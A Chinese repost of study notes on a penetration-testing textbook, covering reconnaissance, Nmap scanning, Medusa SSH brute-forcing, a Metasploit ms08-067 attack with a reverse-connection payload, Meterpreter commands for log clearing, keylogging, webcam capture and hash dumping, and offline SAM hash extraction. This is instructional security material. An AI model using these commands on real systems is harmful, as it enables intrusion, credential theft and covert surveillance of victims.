日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录

發(fā)布時(shí)間:2024/1/1 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

----------------------------------------------------------------------------分割線-------------------------------------------------------------------

以下內(nèi)容源自《滲透測試實(shí)踐指南 必知必會(huì)的工具與方法 (原書第2版)》,屬于讀書摘錄

---------------------------------------------------------------------------分割線--------------------------------------------------------------------


滲透測試實(shí)踐指南

必知必會(huì)的工具與方法

(原書第2版)

第一章、什么是滲透測試

1.白盒滲透測試:不嘗試隱身攻擊,考慮全面性。

2.黑盒滲透測試:模擬攻擊者進(jìn)行攻擊。

3.APT(AdvancedPackage Tool, 高級打包工具)

① apt-get install

② apt-update

③ apt-cache search

4.啟動(dòng)網(wǎng)卡(以 eth0 為例)

ifconfigeth0 up

5.使用 DHCP 分配地址

dhclient

注:在VM環(huán)境下,4和5并不需要使用。

6.重啟計(jì)算機(jī)

reboot

7.滲透四步模型法

①偵查:收集目標(biāo)信息。

②掃描:

Ⅰ端口掃描:獲得目標(biāo)開放端口和開啟服務(wù)列表

Ⅱ漏洞掃描:定位和識別在目標(biāo)計(jì)算機(jī)上運(yùn)行的軟件和服務(wù)所存在的弱點(diǎn)

③漏洞利用:在目標(biāo)計(jì)算機(jī)上獲得管理員權(quán)限

④維持訪問

(⑤編寫報(bào)告)

8.接下來該做什么

搜集和安裝工具來建立并定制屬于自己的 Linux 發(fā)行版,這會(huì)成為你Hacker 生涯中的一大步。

?

第二章、偵查

(建立搜集到的信息與受攻擊者IP地址之間的關(guān)系)

1.在收集目標(biāo)相關(guān)信息上所花的時(shí)間越多,后續(xù)階段工作的成功率就越高。

2.以徹底地搜索目標(biāo)的公共信息作為開始(OSNT,開源情報(bào))

①收集與目標(biāo)有關(guān)的信息,越多越好;

②分類所有收集的信息,創(chuàng)建可進(jìn)行攻擊的IP地址或者URL列表

3.典型的策略應(yīng)該同時(shí)包括 主動(dòng)被動(dòng)偵查

①主動(dòng)偵查:直接與目標(biāo)系統(tǒng)進(jìn)行交互(目標(biāo)可能會(huì)記錄下我們的IP地址及活動(dòng))

②被動(dòng)偵查:利用可以從網(wǎng)上獲取的海量信息(最好將收集到的信息進(jìn)行集中的電子格式保存)

被動(dòng)偵查對Hacker來說,是一項(xiàng)低風(fēng)險(xiǎn)、高回報(bào)的工作。

4.HTTrack(網(wǎng)站復(fù)制機(jī))

注:克隆網(wǎng)站很容易被跟蹤,同時(shí)也會(huì)被認(rèn)為極具攻擊性。

5.GoogleHacking for Penetration Testers(滲透測試人員應(yīng)該知道的Google黑客技術(shù),是一本書,網(wǎng)上有PDF)

6.Google指令(注意可以將多個(gè)指令搭配起來使用)

①site:指定站點(diǎn)

例如:胡昊 site:nju.edu.cn?(此處是半角冒號)

②allintitle:網(wǎng)頁標(biāo)題必須包含所有關(guān)鍵字才會(huì)出現(xiàn)在搜索結(jié)果中

③intitle:?????? ?????? ?????? ?????? ?????? 任意一個(gè)

④inurl:包含某些特定字符的網(wǎng)站

(例如: inurl:admin???inurl:login)

⑤cache:讓Google 只顯示網(wǎng)頁快照里的信息

注:搜索Google 的網(wǎng)頁快照可能比搜素目標(biāo)網(wǎng)站更有價(jià)值,因?yàn)椴坏梢詼p少在目標(biāo)服務(wù)器上留下的痕跡,活動(dòng)不易受到追蹤,而且還能有機(jī)會(huì)瀏覽原網(wǎng)站上已被移除的網(wǎng)頁和文件。

⑥filetype:搜索特定的文件擴(kuò)展名

(可能用到的搜索內(nèi)容:logon, signin, signon, forgotpassword, forgot, reset)

注:www.exploit-db.com 很有用的一個(gè)網(wǎng)站。

7.善用 新聞組 、 社交媒體BBS

8.The Harvester

可以快速準(zhǔn)確地給電子郵件及其子域名建立目錄(注意盡量使用最新版本)

使用實(shí)例(先 cd 到TheHarvester? 目錄下):

./theharvester.py -d example.com -l 10 -b google

<-d > 指定目標(biāo)的域名,上例中是 “example.com”

<-l > 小寫的L,指定搜索結(jié)果的數(shù)目,上例中是“10”

<-b > 用來指定搜索的公共知識庫,可選有 Google , Bing,? PGP,?LinkedIn

(可以使用 -b all 同時(shí)搜索 Harvester 能夠使用的所有知識庫)

9.Whois

命令格式:whois target_domain

例如: whois nju.edu.cn

(也可以在 http://www.whois.net進(jìn)行搜索;

可以使用 Whois 對 引用URL(ReferralURL)字段提供的鏈接地址進(jìn)一步的搜索)

10.Netcraft

http://news.netcraft.com

11.Host(主機(jī)名 與 IP地址之間的轉(zhuǎn)換)

命令格式:host target_hostname(例如: host www.baidu.com)

或 host IP_address?? (例如: host 66.33.206.206)

(可以使用 < -a > 參數(shù)顯示詳盡的輸出;

可以使用 “man host”查看 host 的詳細(xì)使用手冊和幫助文檔)

12.從DNS中提取信息

①信息收集的其中一個(gè)主要目標(biāo)是收集目標(biāo)的IP地址

②DNS服務(wù)器運(yùn)行原則經(jīng)常是“沒到壞掉時(shí)就別去管它”

③AXFR request: 從DNS服務(wù)器請求在主DNS服務(wù)器上更新信息的一類域名系統(tǒng)的請求

④NS Lookup:

查詢DNS服務(wù)器,并可能獲得DNS服務(wù)器知道的各種主機(jī)的記錄

操作步驟:a) nslookup

? b) server 8.8.12.8(想要查詢的DNS服務(wù)器的IP地址)

c) set type = any (此時(shí)提供更完整的DNS記錄,

也可以使用“set type = mx”只顯示電子郵件的服務(wù)器IP地址)

⑤Dig

a)命令格式:

dig @target_ip

b) dig 命令還能進(jìn)行區(qū)域傳輸(使用 -t AXFR 參數(shù))

例如:dig @192.168.1.23example.com -tAXFR

(上述命令針對IP為192.168.1.23 以及域名為 example.com 的DNS服務(wù)器進(jìn)行區(qū)域傳輸,當(dāng)區(qū)域傳輸不受限制時(shí),目標(biāo)DNS服務(wù)器將會(huì)返回與目標(biāo)域名相關(guān)的主機(jī)和IP地址列表)

⑥Fierce(區(qū)域傳輸失敗時(shí)使用,向目標(biāo)DNS服務(wù)器發(fā)送一系列查詢,對主機(jī)名進(jìn)行暴?????? ?????? ?????? ?????? 力枚舉)

使用實(shí)例:cd /usr/bin/fierce

????? ?????? ?????? ?????? ?./fierce.pl -dns trustedsec.com

13.從電子郵件服務(wù)器提取信息

①“你必須放進(jìn)來的,你就無法進(jìn)行阻攔”

②可以首先發(fā)送一封附件為空的批處理文件或是想“calc.exe”之類的非惡意可執(zhí)行文件的電子郵件,目的在于收到退信。

A)退信通常會(huì)告訴我們掃描該郵件的殺毒軟件是什么及其版本號。

B)檢查郵件的Internet頭可以獲得很多信息,例如 IP地址,軟件版本,電子郵件服務(wù)器的品牌等等。

14.MetaGooFil

提取元數(shù)據(jù)(Metadata),對文件的描述信息。

使用實(shí)例:A)cd /usr/bin/metagoofil

? B)mkdir for_new_data(為保持原目錄的整潔)

????? C)./metagoofil.py -d example.com -tpdf,doc,xls,pptx -n 20

-o for_new_datta -fresults.html

< -d > 指定搜索目標(biāo)域

< -t > 指定查找和下載哪一種或哪些類型的文件,例如:pdf, doc, xls, ppt,

odp, ods, docx,xlsx, pptx.

< -n > 指定每個(gè)類型下載文件的數(shù)量

< -o > 指定找到的和下載的文件存儲(chǔ)的目錄,上例是“for_new_data”文件夾

< -f > 指定一個(gè)輸出文件,生成一個(gè)格式化文檔,以便審核和編目

15.ThreatAgent Drone

https://www.threatagent.com

使用它將為目標(biāo)創(chuàng)建完整的檔案,將OSINT(OpenSource Intelligence)提升到一個(gè)新的水平,作者強(qiáng)烈推薦使用。

16.社會(huì)工程

偵查或者Hacker活動(dòng)不談社會(huì)活動(dòng)是不完整的。

17.篩選相信尋找可攻擊的目標(biāo)

整理信息時(shí)建立列表,用來記錄收集到的IP地址,電子郵件地址,主機(jī)名稱和URL

18.接下來該做什么

①學(xué)習(xí)Google 以外的其它搜素引擎的指令,進(jìn)行偵查時(shí)使用多個(gè)引擎

②Windows 系統(tǒng)下,FOCA SearchDiggity 是提取元數(shù)據(jù)的利器

③GHDB

www.hackersforcharity.org/ghdb

④Maltego

⑤Robertex

?

第三章、掃描

(建立IP地址與開放端口和服務(wù)的映射關(guān)系)

1.掃描過程的通常步驟

①用Ping數(shù)據(jù)包驗(yàn)證系統(tǒng)是否正在運(yùn)行

判斷目標(biāo)系統(tǒng)是否已經(jīng)開啟以及是否可以與我們的計(jì)算機(jī)進(jìn)行通信(這一步是最不可靠的,無論這一步產(chǎn)生什么樣的結(jié)果。我們都應(yīng)該繼續(xù)下一步)

②用Nmap掃描系統(tǒng)的端口

識別在特定主機(jī)上開啟了哪些端口以及運(yùn)行了哪些服務(wù),每一個(gè)開放的端口都是進(jìn)入目標(biāo)系統(tǒng)的潛在通道

(服務(wù)是指在計(jì)算機(jī)上執(zhí)行的特定工作或任務(wù))

③用Nmap腳本引擎(NSE)進(jìn)一步查詢目標(biāo)

進(jìn)一步查詢,驗(yàn)證早期的發(fā)現(xiàn)

④用Nessus掃描系統(tǒng)漏洞

定位和識別運(yùn)行在目標(biāo)計(jì)算機(jī)上的服務(wù)和軟件有哪些已知的漏洞

通用端口號以及對應(yīng)的服務(wù)

端口號?? 服務(wù)?????? ?????? ?????? ?????? 端口號 服務(wù)

20?? ?????? FTP數(shù)據(jù)傳輸?????? ?????? ?????? 443 ?????? HTTPS(HTTP+SSL)

21?? ?????? FTP控制?????? ?????? ?????? ?????? 445 ?????? SMB(通信協(xié)議)

22?? ?????? SSH ?????? ?????? ?????? ?????? 1433???? MSSQL(SQL Server數(shù)據(jù)庫服務(wù)器)

23?? ?????? Telnet(遠(yuǎn)程終端協(xié)議)?? 3306 ?? ?????? MySQL

25?? ?????? SMTP??? ?????? ?????? ?????? 3389???? RDP(遠(yuǎn)程桌面協(xié)議)

53?? ?????? DNS????? ?????? ?????? ?????? 5800???? VNCover HTTP

80?? ?????? HTTP???? ?????? ?????? ?????? 5900???? VNC(虛擬網(wǎng)絡(luò)計(jì)算機(jī),遠(yuǎn)程控制工具)

137-139????? NetBIOS (用于小型局域網(wǎng) Network Basic Input/Output System)

2.Ping(一種特定類型的網(wǎng)絡(luò)數(shù)據(jù)包,稱為ICMP數(shù)據(jù)包)

①命令格式:ping target_ip

或 ping target_hostname

例如:ping? google.com

(在Linux系統(tǒng)中,通過 “Ctrl + C”強(qiáng)制ping停止發(fā)送數(shù)據(jù)包)

②回復(fù)

“64 bytes from ord08s05-f6.1e100.net(74.125.225.6): icmp_sep=1 ttl=128 time=29.2ms”

“64 bytes”:標(biāo)明響應(yīng)數(shù)據(jù)包的大小

“from ord08s05 -f6.1e100.net(74.125.225.6):”指定了相應(yīng)我們的google.com的?????? ?????? ?????? ?????? ?????? ?????? ?????? ?????? ?????? ?????? ?????? ?????? ? 主機(jī)名(以及IP地址)

“icmp_seq=”:指定數(shù)據(jù)包順序(依次會(huì)顯示1,2,3,……)

“ttl=”:生存時(shí)間值,確定數(shù)據(jù)包自動(dòng)終止前可以經(jīng)歷的最跳數(shù)。

“time=”:數(shù)據(jù)包到目標(biāo)往返依次花費(fèi)的時(shí)間

注:當(dāng)100% packet loss 或者 Destination HostUnreachable 時(shí),可以是目標(biāo)主機(jī)宕機(jī)(離線)或者攔截ICMP數(shù)據(jù)包

③FPing

命令實(shí)例:fping -a -g 172.16.45.1 172.16.45.254>hosts.txt

< -a >:指定輸出中只顯示活動(dòng)主機(jī)

< -g >: 指定掃描的IP地址范圍

“ >hosts.txt ”:表示將輸出重定向到文件 hosts.txt 中

再次提醒:不是每一個(gè)主機(jī)都會(huì)響應(yīng)ping請求,有些主機(jī)上的防火墻或其他設(shè)施會(huì)阻止ping包。

4.端口掃描

①每臺(tái)計(jì)算機(jī)上共有65,536(0-65,535)個(gè)端口,端口是基于TCP協(xié)議或UDP協(xié)議的。

②使用工具的命令行版本,

A)能進(jìn)行更靈活地設(shè)置,更細(xì)致地控制,并且更好地理解工具

B)可以將命令行寫入腳本中,腳本化和自動(dòng)化是重中之重

③使用TCP通信時(shí)需要完成三次握手

A? ??????? SYN→??????????? B

A????? ??????? ?← SYN/ACK? B

A? ??????? ACK→??????????? B

5.使用Nmap進(jìn)行掃描

< -p- > 指定掃描所有端口(Nmap默認(rèn)掃描1000個(gè)最常用端口,)

< -Pn > 禁用Nmap主機(jī)發(fā)現(xiàn)功能并假定每一個(gè)系統(tǒng)都是活動(dòng)的,強(qiáng)行對其進(jìn)行掃描

TCP掃描(最基礎(chǔ),最穩(wěn)定)

命令實(shí)例:nmap -sT -p- -Pn 192.168.18.138

< -s >:告訴Nmap我們要運(yùn)行哪種類型的掃描

< -T >: 指定執(zhí)行一個(gè)TCP連接掃描

注:a)對整個(gè)子網(wǎng)或某一IP地址段進(jìn)行掃描時(shí),例如

nmap -sT -p- -Pn 192.168.18.1-254

(掃描192.168.18.1 - 192.168.18.254范圍內(nèi)的所有主機(jī))

b)掃描一組IP地址不連續(xù)的主機(jī),創(chuàng)建一個(gè)文本文件并將每個(gè)IP地址逐行填入文件,然后使用 < -iLpath_of_textfile > 參數(shù)

例如:nmap -sT -p- -Pn -iL /tmp/target_ip.txt

SYN掃描(最常用)

A)Nmap默認(rèn)掃描方式,只使用< -s >參數(shù)時(shí),使用SYN掃描

B)SYN掃描比TCP掃描快,原因是只完成了三次握手的前兩步

C)SYN掃描一定程度上隱藏了自己,因此SYN掃描通常被稱為“隱形掃描”

命令實(shí)例:nmap -sS -p- -Pn 192.168.13.1

UDP掃描

A)千萬別忽視UDP端口掃描!

B)基于UDP協(xié)議的服務(wù):DHCP,DNS,SNMP,TFTP(TrivialFTP)(簡單FTP)

命令實(shí)例:nmap -sU 192.168.16.1

(注:之所以不使用 < -p- > 和 < -Pn > 參數(shù)是因?yàn)閁DP掃描非常慢)

C)Nmap很難區(qū)分UDP端口是開啟的還是掃描數(shù)據(jù)包被過濾了,所以當(dāng)執(zhí)行一個(gè)UDP掃描卻沒有收到任何響應(yīng)信息時(shí),Nmap反饋信息是“Open|Filtered(啟用或過濾)”,解決方案是使用 < -sV > 參數(shù)進(jìn)行版本掃描。

例如:nmap -sUV 172.168.13.2

④RFC(Request For Comments)征求修正意見書

是指一個(gè)文檔,要么是注釋文檔,要么是關(guān)于現(xiàn)有某項(xiàng)技術(shù)或標(biāo)準(zhǔn)的技術(shù)規(guī)格,它提供了大量的特定系統(tǒng)內(nèi)部運(yùn)作的細(xì)節(jié)

A)Xmas Tree掃描和 NULL 掃描針對的是運(yùn)行Unix和Linux操作系統(tǒng)的計(jì)算機(jī),而不是針對運(yùn)行Windows系統(tǒng)的計(jì)算機(jī)

B)運(yùn)行Xmas Tree掃描和 NULL 掃描的一個(gè)主要好處是,某些情況下它們可以繞過簡單地?cái)?shù)據(jù)包過濾和ACLs(訪問控制列表)

C)Xmas Tree掃描和 NULL 掃描不會(huì)建立任何類型的通信通道,掃描的目標(biāo)就是判斷目標(biāo)計(jì)算機(jī)端口是開放的還是關(guān)閉的

D)Xmas Tree掃描

(之所以叫Xmas Tree掃描,其原因是數(shù)據(jù)包的FIN,PSH和URG標(biāo)記置為“on”)

原理:假如我們所掃描的系統(tǒng)遵循TCP RFC文檔的建議,通過發(fā)送非常規(guī)的數(shù)據(jù)包就能判斷目標(biāo)系統(tǒng)中端口的當(dāng)前狀態(tài)

使用實(shí)例:nmap -sX -p- -Pn 192.168.18.132

E)Null掃描

(與XmasTree掃描正好相反,使用沒有任何標(biāo)記(全空)的數(shù)據(jù)包)

使用實(shí)例:nmap -sN -p- -Pn 192.168.18.132

6.NSE(NMAP腳本引擎)

①NSE的調(diào)用,使用< --script > 參數(shù)

?????? 命令格式:nmap --script <參數(shù)>/<腳本名> target_ip

?????? 使用實(shí)例:nmap --script banner 192.168.18.132

?????? (banner 腳本是Nmap的一個(gè)擴(kuò)展,創(chuàng)建到TCP端口的一個(gè)連接,并將目標(biāo)系統(tǒng)發(fā)送的任何輸出打印到本地終端,在識別隱藏端口上未識別服務(wù)時(shí)及其有用

?????? nmap --script vuln 192.168.13.122

?????? (“vuln”類別將運(yùn)行一系列在目標(biāo)系統(tǒng)上搜索已知問題的腳本,在發(fā)現(xiàn)漏洞時(shí)提供輸出,特別注意CVE(Common Vulnerabilities and Exposures)通用漏洞披露,OSVDB(Open Source Vulnerability Database)開源漏洞數(shù)據(jù)庫,以及各類鏈接。

②NSE將腳本分為多個(gè)類別,包括

?????? 授權(quán)(Auth)、廣播(broadcast)、暴力法(Brute)、默認(rèn)(Default)

?????? 發(fā)現(xiàn)(Discovery)、Dos(拒絕服務(wù)攻擊denial-of-service attack)

?????? 漏洞利用(Exploit)、外部(External)、漏洞檢查工具(Fuzzer)、漏洞(Vuln)

?????? 入侵(Intrusive)、惡意軟件(Malware)、安全(Safe)、版本(Version)

7.端口掃描總結(jié)

①盡可能使用 < -sV > 參數(shù)

②< -T >:改變端口掃描的速度,可選值為0到5,0是最慢,5是最快(掃描速度越快可能造成精確度和隱匿性越低

③< -O >:識別操作系統(tǒng)

④Telent和SSH(最常用,最重要的遠(yuǎn)程連接服務(wù))

?????? 運(yùn)行命令: telent target_ip

?????? ?????? ?????? ?????? Sshroot@target_ip

8.Nessus(漏洞掃描工具)

?????? ① “.deb”文件的安裝:“dpkg -i example.deb”

?????? ②在Kali Linux上安裝Nessus過程

?????? A)apt-get install nessus

?????? B)/opt/nessus/sbin/nessus-adduser(建立一個(gè)Nessus用戶)

?????? C)/opt/nessus/bin/nessus-fetch --registeryour_reg_key

?????? (輸入key,從官網(wǎng)注冊獲得)

?????? ③Nessus的使用

?????? A)/etc/init.d/nessusd start(啟動(dòng)Nessus服務(wù)器,每次開機(jī)需要手動(dòng)開啟!)

?????? B)通過 https://127.0.0.1:8834 來訪問 Nessus的服務(wù)器端

?????? C)確保選中“Safe Checks(安全檢查)”,避免意外的網(wǎng)絡(luò)中斷

9.如何實(shí)踐

?????? 選擇一個(gè)子網(wǎng)并在該子網(wǎng)中隱藏一個(gè)IP地址,然后想辦法找到目標(biāo)計(jì)算機(jī),之后進(jìn)行全面的端口掃描。

?????? A)使用如下腳本(注意修改IP地址前三個(gè)字段以適應(yīng)自己的網(wǎng)絡(luò)):

IP_Gen.sh

-------------------------分割線--------------------

#!/bin/bash

echo “Setting up the victim machine, this will take just amoment...”

ifconfig eth0down

ifconfig eth0192.168.18.$((($RANDOM %254) + 1)) up

# uncommentthe following lines by removing the #. To start up services on your victim

# placenote.you may need to change the location/path depending on your distro

#/etc/init.d/sshstart

# note. youmay have to generate your SSH key using sshd-generate

#/etc/init.d/apache2start

#/ect/init.d/atftpdstart echo “This victim machine is now setup.”

echo “The IP address is somewhere in the 192.168.18.0/24network.”

echo “You may now close this window and begin yourattach...Good luck!”

---------------------分割線------------------------

?????? B)修改該文件的屬性? “chmod755 IP_Gen.sh”

?????? r=4 w=2 x=1,

?????? 755 即 rwx(Owner)-rx(With the Group ofusers)-rx(Public users)

?????? C)運(yùn)行該腳本 “./IP_Gen.sh”

10.接下來該做什么

①“insecure.org”網(wǎng)站上提供了關(guān)于深入學(xué)習(xí)Nmap的大量資料

②深入研究NSE,最終目標(biāo)是編寫自己的NSE腳本,進(jìn)一步擴(kuò)展該框架

OpenVAS

④NeXpose、Metasploit Pro、 Core Impact、 Canvas

?

第四章、漏洞利用

1.在線密碼破解器

(指與SSH或者Telnet 等“活躍服務(wù)”交互的一種攻擊技術(shù))

?????? ①M(fèi)edusa

?????? 命令格式:

?????? medusa -h target_ip -u username -Ppassword_dictionary -M target_service

?????? 命令實(shí)例:

?????? medusa -h 192.168.18.132 -u user01 -P/usr/share/john/password.lst -M ssh

< -h >:指定目標(biāo)主機(jī)的IP地址

< -u >:指定一個(gè)用戶名

?????? (如果使用的是一個(gè)用戶名列表,使用“< -U > username_file”)

< -p >:指定一個(gè)密碼

< -P >:指定包含多個(gè)密碼的列表,后面緊跟某個(gè)字典文件的路徑

< -M >:指定我們想要攻擊的服務(wù)(包括AFP,FTP,HTTP,IMAP,MS-SQL,MySQL,NetWareNCP,NNTP,PcAnywhere,POP3,SNMP,SSHv2,Telnet,VNC,Web Form等)

(注:Kali 的 “/usr/share/wordlists”目錄下有一些現(xiàn)成可用的密碼字典,其中包括最?????? 為惡名昭彰的密碼列表—RockYou)

?????? ②Hydra

2.Metasploit

①如果有機(jī)會(huì)遇到H.D.Moore或者原來Metasploi團(tuán)隊(duì)中的任何一名成員,記得給他買杯啤酒,跟他握手,說聲謝謝:D

②Msfconsole

?????? A)升級命令:msfupdate

?????? B)一般攻擊步驟:

?????? ?????? Ⅰ)確定攻擊目標(biāo)

?????? 從Nessus的報(bào)告或者“Nmap --script vuln”的輸出開始

?????? ?????? Ⅱ)選擇漏洞攻擊程序

?????? 漏洞攻擊程序:預(yù)先打包、將被發(fā)送到遠(yuǎn)程系統(tǒng)的代碼集,這些代碼將在目標(biāo)系統(tǒng)中引發(fā)某些不正常的行為,以使我們能夠執(zhí)行攻擊載荷

?????? ?????? Ⅲ)指定攻擊載荷

?????? 攻擊載荷(payload):成功執(zhí)行漏洞攻擊之后被安裝在目標(biāo)系統(tǒng)中的附加軟件或功能。

?????? C)攻擊實(shí)例:

?????? ?????? searchms08-067(搜索編號為“ms08-067”的漏洞)

?????? -------------------------------------------------------------

?????? 搜索結(jié)果顯示匹配到的漏洞攻擊程序,與該攻擊程序的Rank

?????? 例如:“exploit/windows/smb/ms08-067_netapi????? ?????? great”,漏洞攻擊程序

?????? 共有七個(gè)等級1.手動(dòng)(Manual)2.Low3.Average 4.Normal 5.Good6.Great 7.Excellent

?????? ---------------------------------------------------------------

?????? ?????? useexploit/windows/smb/ms08-067_netapi(使用該漏洞攻擊程序)

?????? ?????? showpayloads(查看可用的payload)

?????? ?????? setpayload windows/vncinject/reverse_tcp(設(shè)置payload)

?????? ?????? showoptions(查看payload所有可用的選項(xiàng))

?????? ?????? setRHOST 192.168.18.132(RHOST指遠(yuǎn)程主機(jī)(被攻擊者))

?????? ?????? setLHOST 192.168.18.73(LHOST指本地主機(jī)(發(fā)起攻擊者))

?????? ?????? exploit

?????? (VNC載荷要求目標(biāo)操作系統(tǒng)是基于GUI的操作系統(tǒng))

3.目標(biāo)windows的常用payload樣例

?????? ?????? payload名稱????? ?????? ?????? 功能描述

?????? ?????? Windows/adduser??? ?????? 在目標(biāo)計(jì)算機(jī)上的本地管理員組創(chuàng)建新用戶

?????? ?????? Windows/exec?? ?????? 在目標(biāo)計(jì)算機(jī)上執(zhí)行Windows二進(jìn)制文件(.exe)

?????? Windows/shell_bind_tcp??????

?????? ?????? ?????? ?????? 在目標(biāo)計(jì)算機(jī)上啟動(dòng)一個(gè)命令行shell并等待連接

?????? Windows/shell_reverse_tcp

?????? ?????? ?????? ?????? 目標(biāo)計(jì)算機(jī)連回攻擊者并在目標(biāo)計(jì)算機(jī)上啟動(dòng)一個(gè)命令行shell

?????? Windows/meterpreter/bind_tcp

?????? Windows/meterpreter/reverse_tcp

?????? Windows/vncinject/bind_tcp

?????? Windows/vncinject/reverse_tcp

?????? (注:“bind”正向連接,“reverse”反向連接????


4.Meterpreter

?????? 又叫Meta-Interpreter,是Metasploit中一個(gè)可用的payload,是一個(gè)強(qiáng)大的命令行shell。盡可能花時(shí)間深入研究這個(gè)工具,成為Meterpreter大師。

①M(fèi)eterpreter完全在內(nèi)存中運(yùn)行,不使用硬盤空間,從而提高了它的隱蔽性

②Meterpreter運(yùn)行的權(quán)限與被攻擊的程序是相關(guān)聯(lián)的

③之所以用Meterpreter而不用傳統(tǒng)的cmd和Linux下的shell,原因有

?????? A)在目標(biāo)計(jì)算機(jī)上運(yùn)行cmd和Linux的shell都會(huì)啟動(dòng)新的進(jìn)程

?????? B)相比于cmd.exe和bin/sh,Meterpreter具有更強(qiáng)大的功能

④基本命令介紹

?????? a)help:顯示 Meterpreter 幫助菜單

????? b)background:將當(dāng)前的 Meterpreter 會(huì)話轉(zhuǎn)移到后臺(tái)運(yùn)行并且回到msf提示符,若要返回到 Meterpreter 會(huì)話,只是再一次與它交互。

????? ????? (例如返回第一個(gè)Meterpreter回話,使用“session -i 1”)

????? c)cat:顯示文件的內(nèi)容到屏幕上

????? d)clearev:清除windows系統(tǒng)上應(yīng)用程序、 系統(tǒng)和安全日志

????? e)download:從遠(yuǎn)程計(jì)算機(jī)上下載文件

(提供 Windows 路徑時(shí),請注意使用雙正斜杠,例如:“download c:\\boot.ini”)

????? f)upload:上傳文件到遠(yuǎn)程計(jì)算機(jī)上

(例如:upload evil_trojan.exe c:\\windows\\system32)

????? g)edit:用vim打開目標(biāo)主機(jī)上的文件

????? h)execute:運(yùn)行/執(zhí)行目標(biāo)上的指定文件

(例如:“execute -f cmd.exe -i -H”在目標(biāo)計(jì)算機(jī)上打開了cmd.exe)

????? i)getuid:顯示運(yùn)行 Meterpreter 服務(wù)的目標(biāo)計(jì)算機(jī)上的用戶

????? j)hashdump:轉(zhuǎn)儲(chǔ) SAM 數(shù)據(jù)庫的內(nèi)容,即提取用戶的密碼散列

(密碼散列:指明文密碼的加密和打亂之后的版本)

????? k)idletime:顯示遠(yuǎn)程計(jì)算機(jī)上的用戶已處于空閑狀態(tài)的秒數(shù)

????? l)pwd & cd:顯示和更改遠(yuǎn)程計(jì)算機(jī)工作的目錄

????? m)lpwd & lcd:顯示和更改本地計(jì)算機(jī)工作的目錄

????? n)ls:列出當(dāng)前的遠(yuǎn)程計(jì)算機(jī)目錄中的文件

????? o)migrate:將服務(wù)遷移到另一個(gè)進(jìn)程中(svchost.exe是個(gè)不錯(cuò)的選擇)

????? p)ps:顯示在目標(biāo)系統(tǒng)上正在運(yùn)行的進(jìn)程列表

????? q)search -f:定位目標(biāo)主機(jī)上的特定文件

????? r)shell:返回一個(gè)在目標(biāo)系統(tǒng)上的標(biāo)準(zhǔn) shell

????? s)webcam_list:將在目標(biāo)主機(jī)上顯示當(dāng)前可用的網(wǎng)絡(luò)攝像頭

????? t)webcam_snap:抓取一張來自目標(biāo)系統(tǒng)上的連接的網(wǎng)絡(luò)攝像頭的圖片,并將其作為 JPEG 圖像保存

????? u)getsystem:命令Meterpreter嘗試將權(quán)限提升到最高級

????? v)keyscan_start:開始記錄目標(biāo)機(jī)器上的擊鍵

??????????? (注意:為了捕捉擊鍵,你必須遷移到explorer.ext進(jìn)程中)

????? ?keyscan_stop:停止記錄用戶擊鍵

????? ?keyscan_dump:顯示當(dāng)前從目標(biāo)計(jì)算機(jī)上捕捉的擊鍵

??????????? (注意:必須先運(yùn)行keyscan_start)

????? w)kill pid_number:停止(殺死)指定進(jìn)程,PID可以用ps命令找到

????? x)screenshot:提供來自目標(biāo)機(jī)器的屏幕截圖

????? y)sysinfo:提供目標(biāo)機(jī)器的相關(guān)系統(tǒng)信息,包括計(jì)算機(jī)名、操作系統(tǒng)、服務(wù)包級別等

????? z)mkdir、shutdown、reboot、ifconfig、rmdir、rm(英文字母用完了-_-|||)

5.John the Ripper(JtR)

(能利用密碼字典進(jìn)行密碼破解,或者直接利用字符組合進(jìn)行暴力破解)

????? ①通過基準(zhǔn)程序衡量電腦性能,基準(zhǔn)衡量的單位是每秒的破解次數(shù)(c/s)

????? ????? cd/usr/share/john

????? ????? john--test

????? ②密碼破解可以作為“本地攻擊”或者“遠(yuǎn)程攻擊”

6.本地密碼破解

????? ①Windows系統(tǒng)將密碼散列保存在一個(gè)叫做SAM(安全賬戶管理器)的文件里,該文件保存在“C:\Windows\System32\Config\”目錄下。

????? ②操作系統(tǒng)啟動(dòng)后,SAM文件將同時(shí)被鎖定。繞過這一保護(hù)措施的方法是啟動(dòng)另一個(gè)操作系統(tǒng)(比如Kali)

????? ③進(jìn)入Kali后的操作步驟

????? ????? a)掛載本地硬盤

????? ????? ????? mkdir /mnt/sda1_file

????? ????? ????? mount /dev/sda1 /mnt/sda1_file

????? ????? ????? ????? ????? 設(shè)備???? ????? 掛載點(diǎn)(mount point)

(如果不確定應(yīng)該掛載哪個(gè)驅(qū)動(dòng)器,使用“fdisk -l”命令,將目標(biāo)系統(tǒng)中可用的驅(qū)動(dòng)器全部列出來)

?????? ?????? b)cd/mnt/sda1_file/Windows/system32/config

?????? ?????? c)ls

?????? ?????? d)samdump2???? system SAM > /tmp/hashes.txt

使用了名為“Samdump2”的程序,

(該程序利用本地計(jì)算機(jī)上一個(gè)叫做“system”的文件對SAM文件進(jìn)行解密,幸運(yùn)的是,這個(gè)“system”文件正好就跟SAM文件在同一個(gè)目錄里)

該程序?qū)⒔饷芎蟮慕Y(jié)果保存到了Kali的/tmp/hashes.txt文件中

注:某些Windows系統(tǒng)d)步驟前需要額外的一步,為了完全暴露密碼散列,需要利用“Bkhive”提取系統(tǒng)密匙

?????? bkhive system sys_key.txt

?????? samdump2 SAM sys_key.txt >/tmp/hash.txt

?????? ④原先微軟使用的散列加密算法叫做Lan Manager(LM

?????? ?????? A)利用LM算法生成散列時(shí),整個(gè)密碼字符都將更改為大寫

?????? ?????? B)LM算法生成的密碼都是14個(gè)字符,少于14個(gè)字符將會(huì)用null填滿,大于14個(gè)字符將會(huì)被截?cái)?/p>

?????? ⑤現(xiàn)在微軟使用NTLM算法生成密碼散列

?????? ⑥運(yùn)行實(shí)例:

